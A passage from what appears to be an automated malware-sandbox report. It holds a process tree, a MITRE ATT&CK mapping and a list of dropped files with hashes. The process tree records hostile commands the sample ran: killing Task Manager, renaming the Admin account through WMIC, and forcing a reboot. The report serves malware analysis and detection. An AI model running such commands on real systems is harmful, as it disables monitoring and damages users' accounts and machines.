                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                            taskkill /f /im taskmgr.exe
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                            PID:1160
                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                            wmic useraccount where name='Admin' set FullName='UR NEXT'
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            PID:5204
                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                            wmic useraccount where name='Admin' rename 'UR NEXT'
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            PID:1252
                                                                                                                                                                                          • C:\Windows\SysWOW64\shutdown.exe
                                                                                                                                                                                            shutdown /f /r /t 0
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:6012
                                                                                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:1364
                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:3948
                                                                                                                                                                                          • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                            "LogonUI.exe" /flags:0x4 /state0:0xa399c855 /state1:0x41c64e6d
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:1956

                                                                                                                                                                                            Network

                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                            Resource Development

                                                                                                                                                                                            Initial Access

                                                                                                                                                                                            Execution

                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                            2
                                                                                                                                                                                            T1059

                                                                                                                                                                                            PowerShell

                                                                                                                                                                                            1
                                                                                                                                                                                            T1059.001

                                                                                                                                                                                            Persistence

                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                            1
                                                                                                                                                                                            T1547

                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                            1
                                                                                                                                                                                            T1547.004

                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                            1
                                                                                                                                                                                            T1546

                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                            1
                                                                                                                                                                                            T1546.007

                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                            1
                                                                                                                                                                                            T1547

                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                            1
                                                                                                                                                                                            T1547.004

                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                            1
                                                                                                                                                                                            T1546

                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                            1
                                                                                                                                                                                            T1546.007

                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                            Hide Artifacts

                                                                                                                                                                                            2
                                                                                                                                                                                            T1564

                                                                                                                                                                                            Hidden Files and Directories

                                                                                                                                                                                            2
                                                                                                                                                                                            T1564.001

                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                            2
                                                                                                                                                                                            T1112

                                                                                                                                                                                            Obfuscated Files or Information

                                                                                                                                                                                            1
                                                                                                                                                                                            T1027

                                                                                                                                                                                            Command Obfuscation

                                                                                                                                                                                            1
                                                                                                                                                                                            T1027.010

                                                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                                                            1
                                                                                                                                                                                            T1553

                                                                                                                                                                                            SIP and Trust Provider Hijacking

                                                                                                                                                                                            1
                                                                                                                                                                                            T1553.003

                                                                                                                                                                                            Credential Access

                                                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                                                            1
                                                                                                                                                                                            T1555

                                                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                                                            1
                                                                                                                                                                                            T1555.003

                                                                                                                                                                                            Unsecured Credentials

                                                                                                                                                                                            1
                                                                                                                                                                                            T1552

                                                                                                                                                                                            Credentials In Files

                                                                                                                                                                                            1
                                                                                                                                                                                            T1552.001

                                                                                                                                                                                            Discovery

                                                                                                                                                                                            Browser Information Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1217

                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1120

                                                                                                                                                                                            Process Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1057

                                                                                                                                                                                            Query Registry

                                                                                                                                                                                            4
                                                                                                                                                                                            T1012

                                                                                                                                                                                            Remote System Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1018

                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                            6
                                                                                                                                                                                            T1082

                                                                                                                                                                                            System Location Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1614

                                                                                                                                                                                            System Language Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1614.001

                                                                                                                                                                                            System Network Configuration Discovery

                                                                                                                                                                                            2
                                                                                                                                                                                            T1016

                                                                                                                                                                                            Internet Connection Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1016.001

                                                                                                                                                                                            Wi-Fi Discovery

                                                                                                                                                                                            1
                                                                                                                                                                                            T1016.002

                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                            Collection

                                                                                                                                                                                            Clipboard Data

                                                                                                                                                                                            1
                                                                                                                                                                                            T1115

                                                                                                                                                                                            Data from Local System

                                                                                                                                                                                            1
                                                                                                                                                                                            T1005

                                                                                                                                                                                            Command and Control

                                                                                                                                                                                            Web Service

                                                                                                                                                                                            1
                                                                                                                                                                                            T1102

                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                            Impact

                                                                                                                                                                                            Defacement

                                                                                                                                                                                            1
                                                                                                                                                                                            T1491

                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                            Downloads

                                                                                                                                                                                            • C:\ProgramData\svchost\vcredist2013_x64_000_vcRuntimeMinimum_x64.ico
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              4KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              28d98fecf9351c6a31c9c37a738f7c15

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              c449dee100d5219a28019537472edc6a42a87db2

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              39445a090b7ce086d5efb4ac35add13672fac9bf40eb481b54fa87302a3f45e0

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              f5c2458348347798304393fdb5c77f4f7ed7245c0d4c7594deb0113262828cb8e210e7b48a4aa7c4d2fe1e31201b4e326cd60a6f9d4e3ba1a7fbef322dde0971

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              649B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              72a95fb35182bdfd68d31ea709058892

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              eb248809362eaa477ff9a5367332007290ebaf16

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              fcc9d68061d2fb08bbbc4669609d1288fec12e98e5f047c62727c2c6dfdee674

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              5bfbb19e609fba62a26666590e5b67e074323cfb2bca1d51180f4c98bca8facc6ca3ce0a5cc061fca392ec0db23f6dae3cc1c34af4330324aaaf56b50db87b72

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              215KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              2be38925751dc3580e84c3af3a87f98d

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              8a390d24e6588bef5da1d3db713784c11ca58921

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              1412046f2516b688d644ff26b6c7ef2275b6c8f132eb809bd32e118208a4ec1b

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1341ffc84f16c1247eb0e9baacd26a70c6b9ee904bc2861e55b092263613c0f09072efd174b3e649a347ef3192ae92d7807cc4f5782f8fd07389703d75c4c4e2

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              192B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              12eae63fb1dc03fd416ec205022ca3d6

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              a1ad2eb5764d493a722780a15e584f81921b731a

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              bd47fd3c9f2fcfeb11655a8edc87b8580364f8c0ef77520a2acd84d4e88345b1

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              48c701e2518ecce13dadffc2f38ec43e8a80a40e226eee4ce7e3b593e4256cad02be1d3c710f21838249f265843d54da6b06b1e16ff087fda97454dab131bf92

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              264KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              f50f89a0a91564d0b8a211f8921aa7de

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.84.1_0\_locales\en_CA\messages.json
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              851B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              07ffbe5f24ca348723ff8c6c488abfb8

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              6dc2851e39b2ee38f88cf5c35a90171dbea5b690

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              6895648577286002f1dc9c3366f558484eb7020d52bbf64a296406e61d09599c

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              7ed2c8db851a84f614d5daf1d5fe633bd70301fd7ff8a6723430f05f642ceb3b1ad0a40de65b224661c782ffcec69d996ebe3e5bb6b2f478181e9a07d8cd41f6

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.84.1_0\dasherSettingSchema.json
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              854B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4ec1df2da46182103d2ffc3b92d20ca5

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              fb9d1ba3710cf31a87165317c6edc110e98994ce

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              3KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              e8235049c32cb3f01aaca283c73b5200

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              af93efa6ec5a4e08c385aaa780c4da754a16582a

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              c629f37cab1c53eba4f85bc46d2c2801c0103f3bfa5f0df8b39d9504a4f6dbb1

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              29e6b569868399aea22fbc8c47651f11f4945ab03b74053b40b813cbf7f353caab67e48a4e331454bb5c4268b871dfd977e8f9906bde58cb165e58e0438ee09d

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              2B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              d751713988987e9331980363e24189ce

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              356B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              1a255093d41752ca4887ba1b087c666b

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              6fe3b1a5bbed8a66ffd38860efac2e3865bf8d79

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              026b487caf84411f06247742a3a3aa28f8934826685ad53fe05918d8503a3fc3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              902d284106c9c24f7d6b9c9b8b33786f9cd31595ff1f657e7372973b1bd50d8b5b45913fc58f694de2244ba63879863f2ab735c6793ca55eb28a96fea760ba78

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              356B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4c24a81fddd3bd15aa32ed6b95b9fab3

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              80610ea29e966251cc741e5ac965270df1e9c014

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              25a546631c2e0e64b5cafd913b0b0719e6b1ed56e947085cd061e44b2f897bfa

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              5ddbf65a041260e3932af4360a3f256a03a8aff34e864fba5342eb35df2c00416c49ad2335dcd3d02f4b006ea1ee20aaafebd3a693dd0703b3220a5ca6d3c9b7

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              9KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              e336619e1a7cae22c35b0ca56cf3031d

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              02750cc80fde0b6d3586d93933bd3c039e3800e0

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              bc492f3b4432297a909f73a87ac9c73fb2ae8b0f06dc83d7d591608bc6b223bb

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              56fc609f4e411ae1cdb4f0838443a381ad3eef2ec3ee28c9d0e56d2be53a1bc574aee291339e78be9dbd2374e934aabc0affc647a168f0c2689d4d205d115df2

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              9KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              7c4f1a0d6b9214ca3d775e96cb4b2d71

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              66d36e8ab2fa3575fbaefe37f1548fdbf84f782a

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              d2b4433c1ff7069007f76e4dd0996a7a58a3564c99cec6e4922f7d083e6c7e5c

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              351dba89f99eb96cb72da243d1d30419514f9bd30c3e7d3bf41b617f135cc81d269639d817694fd4c4b66eb8cf83770fe25ed6d16694f96d47b0ccefd5273791

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              15KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              58e022edc33a536b1576e5d428023e27

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              19dd1e1f3c30b75583ac364b2d2e414ae400371a

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              ebd705d88de799e1c6e524420c632a22caaf267650d8af4f4218adaac248cd1f

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              829908132e89d37d99e38e5c549ae22dbc88b4b9e262a14de5eaf8b3da8ca0e98b7addc0fc0a19150db337d7348ca19fb125cc19bcfa0c10551dddc56fdda470

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              72B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              6ccc77ea8de3539b2aa54f42108fda01

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              27f254a1644821311facb5c27fc8549e637dd776

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              38b605a273cebd0ac356c04f56d90539d061f12d7b4e6d51855013d46fd2d688

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              d2091b7e141e3a8001d705cd1494e4edc3bf170a48601ca2c13daf8e2a30dd9fd794da75a75c3a72d689d87e04880ccfb2955ebb8547e97db9db8bd6b4084c66

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              231KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              fcebea5d5e67a7be8c3053fb516d7455

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              954f6a32059d52e6124339ef2267f7f7b9c69210

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              3963dcda0b43ae2a445eff7afa4cb39b3a19336fd9169620307102e1639a1811

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              2a55b7492ebd356ba0be4a7570c95778cb3621143f1a50314a637f2a4fb49fa569ec6c77521528258b64e0b2454de2f3109ce10bbf1d26ece37c2ba68fe32360

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              231KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              b9456996a16638ea9341c39ea5fc7c8a

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              3324abe0c6e97a7d92dbb3bdada268ad318360f3

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              3d2890c0c73b81077d2c6ea2a67e7626ae3f056cfbec47b881a40dc739960bc3

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              35f7edf5153b40c03d579815ed1599c983b93c0604bb10dd7154cb65904d827abdff6b596e77b88a7e992cc6e0d0ae1b1e6d87313125dad9479b952db57db3ba

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              2KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              627073ee3ca9676911bee35548eff2b8

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              152B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              c03d23a8155753f5a936bd7195e475bc

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              cdf47f410a3ec000e84be83a3216b54331679d63

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              6f5f7996d9b0e131dc2fec84859b7a8597c11a67dd41bdb5a5ef21a46e1ae0ca

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              6ea9a631b454d7e795ec6161e08dbe388699012dbbc9c8cfdf73175a0ecd51204d45cf28a6f1706c8d5f1780666d95e46e4bc27752da9a9d289304f1d97c2f41

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              152B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              3d68c7edc2a288ee58e6629398bb9f7c

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              6c1909dea9321c55cae38b8f16bd9d67822e2e51

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              dfd733ed3cf4fb59f2041f82fdf676973783ffa75b9acca095609c7d4f73587b

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              0eda66a07ec4cdb46b0f27d6c8cc157415d803af610b7430adac19547e121f380b9c6a2840f90fe49eaea9b48fa16079d93833c2bcf4b85e3c401d90d464ad2f

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\02066f71-93e9-490f-90d3-28fb0a2ab42a.tmp
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              5058f1af8388633f609cadb75a75dc9d

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              3a52ce780950d4d969792a2559cd519d7ee8c727

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              2KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              f5c0e4d79d7bf29f19acc5c99946173e

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              3e3d6cded560a751a83cfafbe95671e278ab2048

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              796797e86b6c5d6109ccf20cf6f811737593a7491c3628743989bb5412cb2a43

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              ee38b483dedb54d6839bb28daf730b1021fc59ff911ce8929e894b5067d5611a9539b1fc0cc520f36432ccddcbd503b2a58f198479e8264799a923ca2d981317

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              733B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              be4df7ae29d39bd954fe35ff7e3fa048

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              a4c096487d74209237878bec81b13fc7100a0800

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              b9bc6e3670442d5e69c515a32e01ca2e4c5ef66cf854e19192aafd77f53d752b

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              3fff64e711b2f96ebfcd4c65559384d6f4ef95912f0740a6197fe0511a0ef01256b413c79ab8ef1fa4f83e6ff84d8bfd82caae57234d6421610d3541a097b5dc

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              6KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              ccc9380f01b79f923d6abb9d75c0ac59

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              958398531e48c0f3a543535c78b4cb6c871e2a10

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              fa4ae570f9808d6d67a5f71da05f1911989c16b19720666a183e6a71d782e6b6

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              cae4119f3afb978a0b62c3266568915d277357e8cc5f655ad4b7435e6bcb46097264cf4bfe982119579a2f02cf4ede593dae9d9a44c3e4d38b01014dfb618887

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              5KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              2a57736303ed7bfcbeb411d0fb2bf6be

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              be7b4f7cdb4a797e296af32aab4cb8e87eed3a81

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              16d5a549bbef0de3a7226d231e50e46318757bd75b464136c6209efde771ca39

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              588269b1983c46a65f270900e5a104b2fbaea54b6a3b2da599be1328050e870abab2fc91a7968cfcc60fde744350058ebe58c09f7bf05c346b8509953f24ecb4

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              6KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              752f3f0c78d4a968c3c1778eacc5ae18

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              f6d0a59c3268028e2b474aaf0f11a3a3ddf5f262

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              604115403f2d8d7dfb396e9feefc44d2da9234497082d08e6d08587f20baa48f

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              1693f3ad3c7f4ac3009a51bbedae68e67374001fd4babe958b95c8eb0797653ee132e061bb10b085ab7a2eb478f16c69a4b4ee1085f8d9fde979862f44a4e5be

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              845b46226e63df47bfb477f82d7bc607

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              fb1370636008f3b392909640ef7126657b4427c6

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              0e90772a1dd89079ef39a882eefd75b7f4b27d3e3a7bbfe677947e9682d6ad76

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              dfc361fd58a9cf0d3be232dbac0464d1dc4ef634692694415213936450aac991fe6458a4130fc8b95d553e8429cc14a6c40fd014f3eeb6a71a229251067cd569

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              8a4b7d78ab87dd9c425ca83074f131a2

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              9968af98da3f0a127bfb545f7e8e2a3ce9e752d1

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              78c26049c9d1e5abe79e33771f84ad998c82bc905902edb3a53f775a753e8bfc

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              14a0629ebda94af59cf57b15cf3b849753f881f3cdf74153633ec516b649f969f8e464c9c91f2a1d2e3bd20d038f883054ac7ec927a3ad7ba981fba35f7da36b

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              44384fc63bd81edd6fba5cbc4b6f9ead

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              99377a5f549f95f895b7ecd6b27247af41f402e4

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              a3944b8e97cc0e38f77abe6d246b83e0b5451342cc45b0b730a1d9f475eae475

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              3cba3bac2a685bfb8986cbee2eebc139c35cce6b858ff378d1ede6fe2a53761ff76dd1f7125a2c8a082ccc369fdd7081f227e62bc763cdc2d29f9df1ff262f5b

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              c3eea0af5f22deeed87ffaebb7e936f2

                                                                                                                                                                                              SHA1

